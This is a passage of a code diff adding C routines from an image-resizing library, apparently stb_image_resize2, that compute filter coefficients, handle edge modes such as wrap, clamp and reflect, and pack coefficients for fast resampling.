+  // convert margin pixels to the pixels within the input (min and max)
+  for( j = -left_margin ; j < 0 ; j++ )
+  {
+      int p = stbir__edge_wrap( edge, j, input_full_size );
+      if ( p < min_left )
+        min_left = p;
+      if ( p > max_left )
+        max_left = p;
+  }
+
+  for( j = input_full_size ; j < (input_full_size + right_margin) ; j++ )
+  {
+      int p = stbir__edge_wrap( edge, j, input_full_size );
+      if ( p < min_right )
+        min_right = p;
+      if ( p > max_right )
+        max_right = p;
+  }
+
+  // merge the left margin pixel region if it connects within 4 pixels of main pixel region
+  if ( min_left != 0x7fffffff )
+  {
+    if ( ( ( min_left <= min_n ) && ( ( max_left  + STBIR__MERGE_RUNS_PIXEL_THRESHOLD ) >= min_n ) ) ||
+         ( ( min_n <= min_left ) && ( ( max_n  + STBIR__MERGE_RUNS_PIXEL_THRESHOLD ) >= max_left ) ) )
+    {
+      scanline_extents->spans[0].n0 = min_n = stbir__min( min_n, min_left );
+      scanline_extents->spans[0].n1 = max_n = stbir__max( max_n, max_left );
+      scanline_extents->spans[0].pixel_offset_for_input = min_n;
+      left_margin = 0;
+    }
+  }
+
+  // merge the right margin pixel region if it connects within 4 pixels of main pixel region
+  if ( min_right != 0x7fffffff )
+  {
+    if ( ( ( min_right <= min_n ) && ( ( max_right  + STBIR__MERGE_RUNS_PIXEL_THRESHOLD ) >= min_n ) ) ||
+         ( ( min_n <= min_right ) && ( ( max_n  + STBIR__MERGE_RUNS_PIXEL_THRESHOLD ) >= max_right ) ) )
+    {
+      scanline_extents->spans[0].n0 = min_n = stbir__min( min_n, min_right );
+      scanline_extents->spans[0].n1 = max_n = stbir__max( max_n, max_right );
+      scanline_extents->spans[0].pixel_offset_for_input = min_n;
+      right_margin = 0;
+    }
+  }
+
+  STBIR_ASSERT( scanline_extents->conservative.n0 <= min_n );
+  STBIR_ASSERT( scanline_extents->conservative.n1 >= max_n );
+
+  // you get two ranges when you have the WRAP edge mode and you are doing just the a piece of the resize
+  //   so you need to get a second run of pixels from the opposite side of the scanline (which you
+  //   wouldn't need except for WRAP)
+
+
+  // if we can't merge the min_left range, add it as a second range
+  if ( ( left_margin ) && ( min_left != 0x7fffffff ) )
+  {
+    stbir__span * newspan = scanline_extents->spans + 1;
+    STBIR_ASSERT( right_margin == 0 );
+    if ( min_left < scanline_extents->spans[0].n0 )
+    {
+      scanline_extents->spans[1].pixel_offset_for_input = scanline_extents->spans[0].n0;
+      scanline_extents->spans[1].n0 = scanline_extents->spans[0].n0;
+      scanline_extents->spans[1].n1 = scanline_extents->spans[0].n1;
+      --newspan;
+    }
+    newspan->pixel_offset_for_input = min_left;
+    newspan->n0 = -left_margin;
+    newspan->n1 = ( max_left - min_left ) - left_margin;
+    scanline_extents->edge_sizes[0] = 0;  // don't need to copy the left margin, since we are directly decoding into the margin
+  }
+  // if we can't merge the min_left range, add it as a second range
+  else  
+  if ( ( right_margin ) && ( min_right != 0x7fffffff ) )
+  {
+    stbir__span * newspan = scanline_extents->spans + 1;
+    if ( min_right < scanline_extents->spans[0].n0 )
+    {
+      scanline_extents->spans[1].pixel_offset_for_input = scanline_extents->spans[0].n0;
+      scanline_extents->spans[1].n0 = scanline_extents->spans[0].n0;
+      scanline_extents->spans[1].n1 = scanline_extents->spans[0].n1;
+      --newspan;
+    }
+    newspan->pixel_offset_for_input = min_right;
+    newspan->n0 = scanline_extents->spans[1].n1 + 1;
+    newspan->n1 = scanline_extents->spans[1].n1 + 1 + ( max_right - min_right );
+    scanline_extents->edge_sizes[1] = 0;  // don't need to copy the right margin, since we are directly decoding into the margin
+  }
+
+  // sort the spans into write output order
+  if ( ( scanline_extents->spans[1].n1 > scanline_extents->spans[1].n0 ) && ( scanline_extents->spans[0].n0 > scanline_extents->spans[1].n0 ) )
+  {
+    stbir__span tspan = scanline_extents->spans[0];
+    scanline_extents->spans[0] = scanline_extents->spans[1];
+    scanline_extents->spans[1] = tspan;
+  }
+}
+
+static void stbir__calculate_in_pixel_range( int * first_pixel, int * last_pixel, float out_pixel_center, float out_filter_radius, float inv_scale, float out_shift, int input_size, stbir_edge edge )
+{
+  int first, last;
+  float out_pixel_influence_lowerbound = out_pixel_center - out_filter_radius;
+  float out_pixel_influence_upperbound = out_pixel_center + out_filter_radius;
+
+  float in_pixel_influence_lowerbound = (out_pixel_influence_lowerbound + out_shift) * inv_scale;
+  float in_pixel_influence_upperbound = (out_pixel_influence_upperbound + out_shift) * inv_scale;
+
+  first = (int)(STBIR_FLOORF(in_pixel_influence_lowerbound + 0.5f));
+  last = (int)(STBIR_FLOORF(in_pixel_influence_upperbound - 0.5f));
+  if ( last < first ) last = first; // point sample mode can span a value *right* at 0.5, and cause these to cross
+
+  if ( edge == STBIR_EDGE_WRAP )
+  {
+    if ( first < -input_size )
+      first = -input_size;
+    if ( last >= (input_size*2))
+      last = (input_size*2) - 1;
+  }
+
+  *first_pixel = first;
+  *last_pixel = last;
+}
+
+static void stbir__calculate_coefficients_for_gather_upsample( float out_filter_radius, stbir__kernel_callback * kernel, stbir__scale_info * scale_info, int num_contributors, stbir__contributors* contributors, float* coefficient_group, int coefficient_width, stbir_edge edge, void * user_data )
+{
+  int n, end;
+  float inv_scale = scale_info->inv_scale;
+  float out_shift = scale_info->pixel_shift;
+  int input_size  = scale_info->input_full_size;
+  int numerator = scale_info->scale_numerator;
+  int polyphase = ( ( scale_info->scale_is_rational ) && ( numerator < num_contributors ) );
+
+  // Looping through out pixels
+  end = num_contributors; if ( polyphase ) end = numerator;
+  for (n = 0; n < end; n++)
+  {
+    int i;
+    int last_non_zero;
+    float out_pixel_center = (float)n + 0.5f;
+    float in_center_of_out = (out_pixel_center + out_shift) * inv_scale;
+
+    int in_first_pixel, in_last_pixel;
+
+    stbir__calculate_in_pixel_range( &in_first_pixel, &in_last_pixel, out_pixel_center, out_filter_radius, inv_scale, out_shift, input_size, edge );
+
+    // make sure we never generate a range larger than our precalculated coeff width
+    //   this only happens in point sample mode, but it's a good safe thing to do anyway
+    if ( ( in_last_pixel - in_first_pixel + 1 ) > coefficient_width )
+      in_last_pixel = in_first_pixel + coefficient_width - 1;
+
+    last_non_zero = -1;
+    for (i = 0; i <= in_last_pixel - in_first_pixel; i++)
+    {
+      float in_pixel_center = (float)(i + in_first_pixel) + 0.5f;
+      float coeff = kernel(in_center_of_out - in_pixel_center, inv_scale, user_data);
+
+      // kill denormals
+      if ( ( ( coeff < stbir__small_float ) && ( coeff > -stbir__small_float ) ) )
+      {
+        if ( i == 0 )  // if we're at the front, just eat zero contributors
+        {
+          STBIR_ASSERT ( ( in_last_pixel - in_first_pixel ) != 0 ); // there should be at least one contrib
+          ++in_first_pixel;
+          i--;
+          continue;
+        }
+        coeff = 0;  // make sure is fully zero (should keep denormals away)
+      }
+      else
+        last_non_zero = i;
+
+      coefficient_group[i] = coeff;
+    }
+
+    in_last_pixel = last_non_zero+in_first_pixel; // kills trailing zeros
+    contributors->n0 = in_first_pixel;
+    contributors->n1 = in_last_pixel;
+
+    STBIR_ASSERT(contributors->n1 >= contributors->n0);
+
+    ++contributors;
+    coefficient_group += coefficient_width;
+  }
+}
+
+static void stbir__insert_coeff( stbir__contributors * contribs, float * coeffs, int new_pixel, float new_coeff, int max_width )
+{
+  if ( new_pixel <= contribs->n1 )  // before the end
+  {
+    if ( new_pixel < contribs->n0 ) // before the front?
+    {
+      if ( ( contribs->n1 - new_pixel + 1 ) <= max_width )
+      { 
+        int j, o = contribs->n0 - new_pixel;
+        for ( j = contribs->n1 - contribs->n0 ; j <= 0 ; j-- )
+          coeffs[ j + o ] = coeffs[ j ];
+        for ( j = 1 ; j < o ; j-- )
+          coeffs[ j ] = coeffs[ 0 ];
+        coeffs[ 0 ] = new_coeff;
+        contribs->n0 = new_pixel;
+      }
+    }
+    else
+    {
+      coeffs[ new_pixel - contribs->n0 ] += new_coeff;
+    }
+  }
+  else
+  {
+    if ( ( new_pixel - contribs->n0 + 1 ) <= max_width )
+    {
+      int j, e = new_pixel - contribs->n0;
+      for( j = ( contribs->n1 - contribs->n0 ) + 1 ; j < e ; j++ ) // clear in-betweens coeffs if there are any
+        coeffs[j] = 0;
+
+      coeffs[ e ] = new_coeff;
+      contribs->n1 = new_pixel;
+    }
+  }
+}
+
+static void stbir__calculate_out_pixel_range( int * first_pixel, int * last_pixel, float in_pixel_center, float in_pixels_radius, float scale, float out_shift, int out_size )
+{
+  float in_pixel_influence_lowerbound = in_pixel_center - in_pixels_radius;
+  float in_pixel_influence_upperbound = in_pixel_center + in_pixels_radius;
+  float out_pixel_influence_lowerbound = in_pixel_influence_lowerbound * scale - out_shift;
+  float out_pixel_influence_upperbound = in_pixel_influence_upperbound * scale - out_shift;
+  int out_first_pixel = (int)(STBIR_FLOORF(out_pixel_influence_lowerbound + 0.5f));
+  int out_last_pixel = (int)(STBIR_FLOORF(out_pixel_influence_upperbound - 0.5f));
+
+  if ( out_first_pixel < 0 )
+    out_first_pixel = 0;
+  if ( out_last_pixel >= out_size )
+    out_last_pixel = out_size - 1;
+  *first_pixel = out_first_pixel;
+  *last_pixel = out_last_pixel;
+}
+
+static void stbir__calculate_coefficients_for_gather_downsample( int start, int end, float in_pixels_radius, stbir__kernel_callback * kernel, stbir__scale_info * scale_info, int coefficient_width, int num_contributors, stbir__contributors * contributors, float * coefficient_group, void * user_data )
+{
+  int in_pixel;
+  int i;
+  int first_out_inited = -1;
+  float scale = scale_info->scale;
+  float out_shift = scale_info->pixel_shift;
+  int out_size = scale_info->output_sub_size;
+  int numerator = scale_info->scale_numerator;
+  int polyphase = ( ( scale_info->scale_is_rational ) && ( numerator < out_size ) );
+
+  STBIR__UNUSED(num_contributors);
+
+  // Loop through the input pixels
+  for (in_pixel = start; in_pixel < end; in_pixel++)
+  {
+    float in_pixel_center = (float)in_pixel + 0.5f;
+    float out_center_of_in = in_pixel_center * scale - out_shift;
+    int out_first_pixel, out_last_pixel;
+
+    stbir__calculate_out_pixel_range( &out_first_pixel, &out_last_pixel, in_pixel_center, in_pixels_radius, scale, out_shift, out_size );
+
+    if ( out_first_pixel > out_last_pixel )
+      continue;
+
+    // clamp or exit if we are using polyphase filtering, and the limit is up
+    if ( polyphase )
+    {
+      // when polyphase, you only have to do coeffs up to the numerator count
+      if ( out_first_pixel == numerator )
+        break;
+
+      // don't do any extra work, clamp last pixel at numerator too
+      if ( out_last_pixel >= numerator )
+        out_last_pixel = numerator - 1;
+    }
+
+    for (i = 0; i <= out_last_pixel - out_first_pixel; i++)
+    {
+      float out_pixel_center = (float)(i + out_first_pixel) + 0.5f;
+      float x = out_pixel_center - out_center_of_in;
+      float coeff = kernel(x, scale, user_data) * scale;
+
+      // kill the coeff if it's too small (avoid denormals)
+      if ( ( ( coeff < stbir__small_float ) && ( coeff > -stbir__small_float ) ) )
+        coeff = 0.0f;
+
+      {
+        int out = i + out_first_pixel;
+        float * coeffs = coefficient_group + out * coefficient_width;
+        stbir__contributors * contribs = contributors + out;
+
+        // is this the first time this output pixel has been seen?  Init it.
+        if ( out > first_out_inited )
+        {
+          STBIR_ASSERT( out == ( first_out_inited + 1 ) ); // ensure we have only advanced one at time
+          first_out_inited = out;
+          contribs->n0 = in_pixel;
+          contribs->n1 = in_pixel;
+          coeffs[0]  = coeff;
+        }
+        else
+        {
+          // insert on end (always in order)
+          if ( coeffs[0] == 0.0f )  // if the first coefficent is zero, then zap it for this coeffs
+          {
+            STBIR_ASSERT( ( in_pixel - contribs->n0 ) == 1 ); // ensure that when we zap, we're at the 2nd pos
+            contribs->n0 = in_pixel;
+          }
+          contribs->n1 = in_pixel;
+          STBIR_ASSERT( ( in_pixel - contribs->n0 ) < coefficient_width );
+          coeffs[in_pixel - contribs->n0]  = coeff;
+        }
+      }
+    }
+  }
+}
+
+#ifdef STBIR_RENORMALIZE_IN_FLOAT
+#define STBIR_RENORM_TYPE float
+#else
+#define STBIR_RENORM_TYPE double
+#endif
+
+static void stbir__cleanup_gathered_coefficients( stbir_edge edge, stbir__filter_extent_info* filter_info, stbir__scale_info * scale_info, int num_contributors, stbir__contributors* contributors, float * coefficient_group, int coefficient_width )
+{
+  int input_size = scale_info->input_full_size;
+  int input_last_n1 = input_size - 1;
+  int n, end;
+  int lowest = 0x7fffffff;
+  int highest = -0x7fffffff;
+  int widest = -1;
+  int numerator = scale_info->scale_numerator;
+  int denominator = scale_info->scale_denominator;
+  int polyphase = ( ( scale_info->scale_is_rational ) && ( numerator < num_contributors ) );
+  float * coeffs;
+  stbir__contributors * contribs;
+
+  // weight all the coeffs for each sample
+  coeffs = coefficient_group;
+  contribs = contributors;
+  end = num_contributors; if ( polyphase ) end = numerator;
+  for (n = 0; n < end; n++)
+  {
+    int i;
+    STBIR_RENORM_TYPE filter_scale, total_filter = 0;
+    int e;
+
+    // add all contribs
+    e = contribs->n1 - contribs->n0;
+    for( i = 0 ; i <= e ; i++ )
+    {
+      total_filter += (STBIR_RENORM_TYPE) coeffs[i];
+      STBIR_ASSERT( ( coeffs[i] >= -2.0f ) && ( coeffs[i] <= 2.0f )  ); // check for wonky weights
+    }
+
+    // rescale
+    if ( ( total_filter < stbir__small_float ) && ( total_filter > -stbir__small_float ) )
+    {
+      // all coeffs are extremely small, just zero it
+      contribs->n1 = contribs->n0;
+      coeffs[0] = 0.0f;
+    }
+    else
+    {
+      // if the total isn't 1.0, rescale everything
+      if ( ( total_filter < (1.0f-stbir__small_float) ) || ( total_filter > (1.0f+stbir__small_float) ) )
+      {
+        filter_scale = ((STBIR_RENORM_TYPE)1.0) / total_filter;
+
+        // scale them all
+        for (i = 0; i <= e; i++)
+          coeffs[i] = (float) ( coeffs[i] * filter_scale );
+      }
+    }
+    ++contribs;
+    coeffs += coefficient_width;
+  }
+
+  // if we have a rational for the scale, we can exploit the polyphaseness to not calculate
+  //   most of the coefficients, so we copy them here
+  if ( polyphase )
+  {
+    stbir__contributors * prev_contribs = contributors;
+    stbir__contributors * cur_contribs = contributors + numerator;
+
+    for( n = numerator ; n < num_contributors ; n++ )
+    {
+      cur_contribs->n0 = prev_contribs->n0 + denominator;
+      cur_contribs->n1 = prev_contribs->n1 + denominator;
+      ++cur_contribs;
+      ++prev_contribs;
+    }
+    stbir_overlapping_memcpy( coefficient_group + numerator * coefficient_width, coefficient_group, ( num_contributors - numerator ) * coefficient_width * sizeof( coeffs[ 0 ] ) );
+  }
+
+  coeffs = coefficient_group;
+  contribs = contributors;
+
+  for (n = 0; n < num_contributors; n++)
+  {
+    int i;
+
+    // in zero edge mode, just remove out of bounds contribs completely (since their weights are accounted for now)
+    if ( edge == STBIR_EDGE_ZERO )
+    {
+      // shrink the right side if necessary
+      if ( contribs->n1 > input_last_n1 )
+        contribs->n1 = input_last_n1;
+
+      // shrink the left side
+      if ( contribs->n0 < 0 )
+      {
+        int j, left, skips = 0;
+
+        skips = -contribs->n0;
+        contribs->n0 = 0;
+
+        // now move down the weights
+        left = contribs->n1 - contribs->n0 + 1;
+        if ( left > 0 )
+        {
+          for( j = 0 ; j < left ; j++ )
+            coeffs[ j ] = coeffs[ j + skips ];
+        }
+      }
+    }
+    else if ( ( edge == STBIR_EDGE_CLAMP ) || ( edge == STBIR_EDGE_REFLECT ) )
+    {
+      // for clamp and reflect, calculate the true inbounds position (based on edge type) and just add that to the existing weight
+
+      // right hand side first
+      if ( contribs->n1 > input_last_n1 )
+      {
+        int start = contribs->n0;
+        int endi = contribs->n1;
+        contribs->n1 = input_last_n1;
+        for( i = input_size; i <= endi; i++ )
+          stbir__insert_coeff( contribs, coeffs, stbir__edge_wrap_slow[edge]( i, input_size ), coeffs[i-start], coefficient_width );
+      }
+
+      // now check left hand edge
+      if ( contribs->n0 < 0 )
+      {
+        int save_n0;
+        float save_n0_coeff;
+        float * c = coeffs - ( contribs->n0 + 1 );
+
+        // reinsert the coeffs with it reflected or clamped (insert accumulates, if the coeffs exist)
+        for( i = -1 ; i > contribs->n0 ; i-- )
+          stbir__insert_coeff( contribs, coeffs, stbir__edge_wrap_slow[edge]( i, input_size ), *c--, coefficient_width );
+        save_n0 = contribs->n0;
+        save_n0_coeff = c[0]; // save it, since we didn't do the final one (i==n0), because there might be too many coeffs to hold (before we resize)!
+
+        // now slide all the coeffs down (since we have accumulated them in the positive contribs) and reset the first contrib
+        contribs->n0 = 0;
+        for(i = 0 ; i <= contribs->n1 ; i++ )
+          coeffs[i] = coeffs[i-save_n0];
+
+        // now that we have shrunk down the contribs, we insert the first one safely
+        stbir__insert_coeff( contribs, coeffs, stbir__edge_wrap_slow[edge]( save_n0, input_size ), save_n0_coeff, coefficient_width );
+      }
+    }
+
+    if ( contribs->n0 <= contribs->n1 )
+    {
+      int diff = contribs->n1 - contribs->n0 + 1;
+      while ( diff && ( coeffs[ diff-1 ] == 0.0f ) )
+        --diff;
+
+      contribs->n1 = contribs->n0 + diff - 1;
+
+      if ( contribs->n0 <= contribs->n1 )
+      {
+        if ( contribs->n0 < lowest )
+          lowest = contribs->n0;
+        if ( contribs->n1 > highest )
+          highest = contribs->n1;
+        if ( diff > widest )
+          widest = diff;
+      }
+
+      // re-zero out unused coefficients (if any)
+      for( i = diff ; i < coefficient_width ; i++ )
+        coeffs[i] = 0.0f;
+    }
+
+    ++contribs;
+    coeffs += coefficient_width;
+  }
+  filter_info->lowest = lowest;
+  filter_info->highest = highest;
+  filter_info->widest = widest;
+}
+
+#undef STBIR_RENORM_TYPE 
+
+static int stbir__pack_coefficients( int num_contributors, stbir__contributors* contributors, float * coefficents, int coefficient_width, int widest, int row0, int row1 ) 
+{
+  #define STBIR_MOVE_1( dest, src ) { STBIR_NO_UNROLL(dest); ((stbir_uint32*)(dest))[0] = ((stbir_uint32*)(src))[0]; }
+  #define STBIR_MOVE_2( dest, src ) { STBIR_NO_UNROLL(dest); ((stbir_uint64*)(dest))[0] = ((stbir_uint64*)(src))[0]; }
+  #ifdef STBIR_SIMD
+  #define STBIR_MOVE_4( dest, src ) { stbir__simdf t; STBIR_NO_UNROLL(dest); stbir__simdf_load( t, src ); stbir__simdf_store( dest, t ); }
+  #else
+  #define STBIR_MOVE_4( dest, src ) { STBIR_NO_UNROLL(dest); ((stbir_uint64*)(dest))[0] = ((stbir_uint64*)(src))[0]; ((stbir_uint64*)(dest))[1] = ((stbir_uint64*)(src))[1]; }
+  #endif
+
+  int row_end = row1 + 1;
+  STBIR__UNUSED( row0 ); // only used in an assert
+
+  if ( coefficient_width != widest )
+  {
+    float * pc = coefficents;
+    float * coeffs = coefficents;
+    float * pc_end = coefficents + num_contributors * widest;
+    switch( widest )
+    {
+      case 1:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_1( pc, coeffs );
+          ++pc;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 2:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_2( pc, coeffs );
+          pc += 2;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 3:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_2( pc, coeffs );
+          STBIR_MOVE_1( pc+2, coeffs+2 );
+          pc += 3;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 4:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          pc += 4;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 5:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_1( pc+4, coeffs+4 );
+          pc += 5;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 6:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_2( pc+4, coeffs+4 );
+          pc += 6;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 7:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_2( pc+4, coeffs+4 );
+          STBIR_MOVE_1( pc+6, coeffs+6 );
+          pc += 7;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 8:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_4( pc+4, coeffs+4 );
+          pc += 8;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 9:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_4( pc+4, coeffs+4 );
+          STBIR_MOVE_1( pc+8, coeffs+8 );
+          pc += 9;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 10:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_4( pc+4, coeffs+4 );
+          STBIR_MOVE_2( pc+8, coeffs+8 );
+          pc += 10;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 11:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_4( pc+4, coeffs+4 );
+          STBIR_MOVE_2( pc+8, coeffs+8 );
+          STBIR_MOVE_1( pc+10, coeffs+10 );
+          pc += 11;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      case 12:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          STBIR_MOVE_4( pc, coeffs );
+          STBIR_MOVE_4( pc+4, coeffs+4 );
+          STBIR_MOVE_4( pc+8, coeffs+8 );
+          pc += 12;
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+      default:
+        STBIR_NO_UNROLL_LOOP_START
+        do {
+          float * copy_end = pc + widest - 4;
+          float * c = coeffs;
+          do {
+            STBIR_NO_UNROLL( pc );
+            STBIR_MOVE_4( pc, c );
+            pc += 4;
+            c += 4;
+          } while ( pc <= copy_end );
+          copy_end += 4;
+          STBIR_NO_UNROLL_LOOP_START
+          while ( pc < copy_end )
+          {
+            STBIR_MOVE_1( pc, c );
+            ++pc; ++c;
+          }
+          coeffs += coefficient_width;
+        } while ( pc < pc_end );
+        break;
+    }
+  }
+
+  // some horizontal routines read one float off the end (which is then masked off), so put in a sentinal so we don't read an snan or denormal
+  coefficents[ widest * num_contributors ] = 8888.0f;
+
+  // the minimum we might read for unrolled filters widths is 12. So, we need to
+  //   make sure we never read outside the decode buffer, by possibly moving
+  //   the sample area back into the scanline, and putting zeros weights first.
+  // we start on the right edge and check until we're well past the possible
+  //   clip area (2*widest).
+  {
+    stbir__contributors * contribs = contributors + num_contributors - 1;
+    float * coeffs = coefficents + widest * ( num_contributors - 1 );
+
+    // go until no chance of clipping (this is usually less than 8 lops)
+    while ( ( contribs >= contributors ) && ( ( contribs->n0 + widest*2 ) >= row_end ) )
+    {
+      // might we clip??
+      if ( ( contribs->n0 + widest ) > row_end )
+      {
+        int stop_range = widest;
+
+        // if range is larger than 12, it will be handled by generic loops that can terminate on the exact length
+        //   of this contrib n1, instead of a fixed widest amount - so calculate this
+        if ( widest > 12 )
+        {
+          int mod;
+
+          // how far will be read in the n_coeff loop (which depends on the widest count mod4);
+          mod = widest & 3;
+          stop_range = ( ( ( contribs->n1 - contribs->n0 + 1 ) - mod + 3 ) & ~3 ) + mod;
+
+          // the n_coeff loops do a minimum amount of coeffs, so factor that in!
+          if ( stop_range < ( 8 + mod ) ) stop_range = 8 + mod;
+        }
+
+        // now see if we still clip with the refined range
+        if ( ( contribs->n0 + stop_range ) > row_end )
+        {
+          int new_n0 = row_end - stop_range;
+          int num = contribs->n1 - contribs->n0 + 1;
+          int backup = contribs->n0 - new_n0;
+          float * from_co = coeffs + num - 1;
+          float * to_co = from_co + backup;
+
+          STBIR_ASSERT( ( new_n0 >= row0 ) && ( new_n0 < contribs->n0 ) );
+
+          // move the coeffs over
+          while( num )
+          {
+            *to_co-- = *from_co--;
+            --num;
+          }
+          // zero new positions
+          while ( to_co >= coeffs )
+            *to_co-- = 0;
+          // set new start point
+          contribs->n0 = new_n0;
+          if ( widest > 12 )
+          {
+            int mod;
+
+            // how far will be read in the n_coeff loop (which depends on the widest count mod4);
+            mod = widest & 3;
+            stop_range = ( ( ( contribs->n1 - contribs->n0 + 1 ) - mod + 3 ) & ~3 ) + mod;
+
+            // the n_coeff loops do a minimum amount of coeffs, so factor that in!
+            if ( stop_range < ( 8 + mod ) ) stop_range = 8 + mod;
+          }
+        }
+      }
+      --contribs;
+      coeffs -= widest;
+    }
+  }
+
+  return widest;
+  #undef STBIR_MOVE_1
+  #undef STBIR_MOVE_2
+  #undef STBIR_MOVE_4
+}
+
+static void stbir__calculate_filters( stbir__sampler * samp, stbir__sampler * other_axis_for_pivot, void * user_data STBIR_ONLY_PROFILE_BUILD_GET_INFO )
+{
+  int n;
+  float scale = samp->scale_info.scale;
+  stbir__kernel_callback * kernel = samp->filter_kernel;
+  stbir__support_callback * support = samp->filter_support;
+  float inv_scale = samp->scale_info.inv_scale;
+  int input_full_size = samp->scale_info.input_full_size;
+  int gather_num_contributors = samp->num_contributors;
+  stbir__contributors* gather_contributors = samp->contributors;
+  float * gather_coeffs = samp->coefficients;
+  int gather_coefficient_width = samp->coefficient_width;
+
+  switch ( samp->is_gather )
+  {
+    case 1: // gather upsample
+    {
+      float out_pixels_radius = support(inv_scale,user_data) * scale;
+
+      stbir__calculate_coefficients_for_gather_upsample( out_pixels_radius, kernel, &samp->scale_info, gather_num_contributors, gather_contributors, gather_coeffs, gather_coefficient_width, samp->edge, user_data );
+
+      STBIR_PROFILE_BUILD_START( cleanup );
+      stbir__cleanup_gathered_coefficients( samp->edge, &samp->extent_info, &samp->scale_info, gather_num_contributors, gather_contributors, gather_coeffs, gather_coefficient_width );
+      STBIR_PROFILE_BUILD_END( cleanup );
+    }
+    break;
+
+    case 0: // scatter downsample (only on vertical)
+    case 2: // gather downsample
+    {
+      float in_pixels_radius = support(scale,user_data) * inv_scale;
+      int filter_pixel_margin = samp->filter_pixel_margin;
+      int input_end = input_full_size + filter_pixel_margin;
+
+      // if this is a scatter, we do a downsample gather to get the coeffs, and then pivot after
+      if ( !samp->is_gather )
+      {
+        // check if we are using the same gather downsample on the horizontal as this vertical,
+        //   if so, then we don't have to generate them, we can just pivot from the horizontal.
+        if ( other_axis_for_pivot )
+        {
+          gather_contributors = other_axis_for_pivot->contributors;
+          gather_coeffs = other_axis_for_pivot->coefficients;
+          gather_coefficient_width = other_axis_for_pivot->coefficient_width;
+          gather_num_contributors = other_axis_for_pivot->num_contributors;
+          samp->extent_info.lowest = other_axis_for_pivot->extent_info.lowest;
+          samp->extent_info.highest = other_axis_for_pivot->extent_info.highest;
+          samp->extent_info.widest = other_axis_for_pivot->extent_info.widest;
+          goto jump_right_to_pivot;
+        }
+
+        gather_contributors = samp->gather_prescatter_contributors;
+        gather_coeffs = samp->gather_prescatter_coefficients;
+        gather_coefficient_width = samp->gather_prescatter_coefficient_width;
+        gather_num_contributors = samp->gather_prescatter_num_contributors;
+      }
+
+      stbir__calculate_coefficients_for_gather_downsample( -filter_pixel_margin, input_end, in_pixels_radius, kernel, &samp->scale_info, gather_coefficient_width, gather_num_contributors, gather_contributors, gather_coeffs, user_data );
+
+      STBIR_PROFILE_BUILD_START( cleanup );
+      stbir__cleanup_gathered_coefficients( samp->edge, &samp->extent_info, &samp->scale_info, gather_num_contributors, gather_contributors, gather_coeffs, gather_coefficient_width );
+      STBIR_PROFILE_BUILD_END( cleanup );
+
+      if ( !samp->is_gather )
+      {
+        // if this is a scatter (vertical only), then we need to pivot the coeffs
+        stbir__contributors * scatter_contributors;
+        int highest_set;
+
+        jump_right_to_pivot:
+
+        STBIR_PROFILE_BUILD_START( pivot );
+
+        highest_set = (-filter_pixel_margin) - 1;
+        for (n = 0; n < gather_num_contributors; n++)
+        {
+          int k;
+          int gn0 = gather_contributors->n0, gn1 = gather_contributors->n1;
+          int scatter_coefficient_width = samp->coefficient_width;
+          float * scatter_coeffs = samp->coefficients + ( gn0 + filter_pixel_margin ) * scatter_coefficient_width;
+          float * g_coeffs = gather_coeffs;
+          scatter_contributors = samp->contributors + ( gn0 + filter_pixel_margin );
+
+          for (k = gn0 ; k <= gn1 ; k++ )
+          {
+            float gc = *g_coeffs++;
+            
+            // skip zero and denormals - must skip zeros to avoid adding coeffs beyond scatter_coefficient_width
+            //   (which happens when pivoting from horizontal, which might have dummy zeros)
+            if ( ( ( gc >= stbir__small_float ) || ( gc <= -stbir__small_float ) ) )
+            {
+              if ( ( k > highest_set ) || ( scatter_contributors->n0 > scatter_contributors->n1 ) )
+              {
+                {
+                  // if we are skipping over several contributors, we need to clear the skipped ones
+                  stbir__contributors * clear_contributors = samp->contributors + ( highest_set + filter_pixel_margin + 1);
+                  while ( clear_contributors < scatter_contributors )
+                  {
+                    clear_contributors->n0 = 0;
+                    clear_contributors->n1 = -1;
+                    ++clear_contributors;
+                  }
+                }
+                scatter_contributors->n0 = n;
+                scatter_contributors->n1 = n;
+                scatter_coeffs[0]  = gc;
+                highest_set = k;
+              }
+              else
+              {
+                stbir__insert_coeff( scatter_contributors, scatter_coeffs, n, gc, scatter_coefficient_width );
+              }
+              STBIR_ASSERT( ( scatter_contributors->n1 - scatter_contributors->n0 + 1 ) <= scatter_coefficient_width );
+            }
+            ++scatter_contributors;
+            scatter_coeffs += scatter_coefficient_width;
+          }
+
+          ++gather_contributors;
+          gather_coeffs += gather_coefficient_width;
+        }
+
+        // now clear any unset contribs
+        {
